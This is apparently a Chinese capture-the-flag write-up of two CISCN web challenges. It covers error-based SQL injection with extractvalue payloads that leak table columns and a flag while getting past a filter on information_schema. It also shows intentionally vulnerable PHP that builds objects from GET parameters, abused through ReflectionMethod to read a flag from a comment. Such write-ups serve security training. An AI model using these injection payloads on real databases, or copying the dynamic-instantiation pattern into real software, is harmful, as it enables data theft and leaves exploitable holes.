CISCN线上赛库存

easy_sql

在用户名处,尝试sql注入,加上单引号报错,测试闭合,随便添加几个符号在password的报错附近中注意到了是括号单引号闭合

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘1’) LIMIT 0,1’ at line 1

过滤的字符有union,所以尝试报错注入,查询版本号。

admin') and (extractvalue(1,concat(0x7e,(select version()),0x7e)))#

接下来想要通过information_schema库查字段,但是发现被过滤了,所以猜表名和字段名,尝试出了flag表和表中的一个字段id,但是在id字段中只查询出了一个值:1,使用sqlmap跑也没跑出来。

最后参考了网上的一篇文章:mysql 注入 information_schema_绕过IDS过滤information_schema继续注入,模仿文章构造payload

admin') and (extractvalue(1,concat(0x7e,(select * from (select * from flag a join flag b USING (id))c),0x7e)))#

回显为:Duplicate column name ’no’,一开始以为是报了个错,但是根据文章使用using继续把查到的no字段加上去,发现还有其他字段

Duplicate column name '28d9f90a-4120-4ee8-9079-4e7613699510'

直接得到一个假的flag,真的还在flag表中,查询flag表中的改字段,报错注入长度有限制,所以加个substr一段一段截就出来了

admin') and (extractvalue(1,concat(0x7e,substr((select `28d9f90a-4120-4ee8-9079-4e7613699510` from `flag`),1,30),0x7e)))#

flag:CISCN{SWAqt-siWro-Wi7jV-FTdRm-9iOkG-}

easy_source

使用目录扫描,扫描到了.index.php.swo

本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

看最后的参数列表,使用参数创建对象,并且创建对象的初始化参数需要有两个$ra$rb

,源码虽然给出了User类,但是不知道有什么其他的方法,这时候想到了可能使用PHP的原生类。

根据提示

虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?

应该想到看不完全可能是在代码注释中,百度获取类中的代码注释,可以得到一个ReflectionMethod类,并且ReflectionMethod类中刚好有一个getDocComment 方法可以获得注释:

简介:ReflectionMethod 类报告了一个方法的有关信息。类报告了一个方法的有关信息

ReflectionFunctionAbstract::getDocComment — 获取注释内容

源码中初始化创建对象为new $rc($ra, $rb),传递了两个参数,ReflectionMethod类的初始化魔术方法也提供了两个参数

public ReflectionMethod::__construct ( mixed $class , string $name )

所以构造第一个参数是User,第二个参数为源码里的那些方法名,一个一个尝试,在q方法中找到了flag的注释

payload

?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

结果

你能发现我吗string(152) "/** * Increment counter * * @final * @static * @access publicCISCN{uLG8v-wGDDi-PfF4M-Pmc2U-uBqB2-} * @return int */"

题外话:在尝试过程中还发现了另一个类ReflectionClass

简介:ReflectionClass 类报告了一个类的有关信息。

和上面的那个类对比,两个类研究的对象不一样ReflectionMethod研究的是类中的方法,ReflectionClass 研究的是类。

这个类中也有一个获得注释的函数ReflectionClass::getDocComment,但是其获得的是文档注释,即文件开头的/**/中内容,但是本题的注释是在函数里的。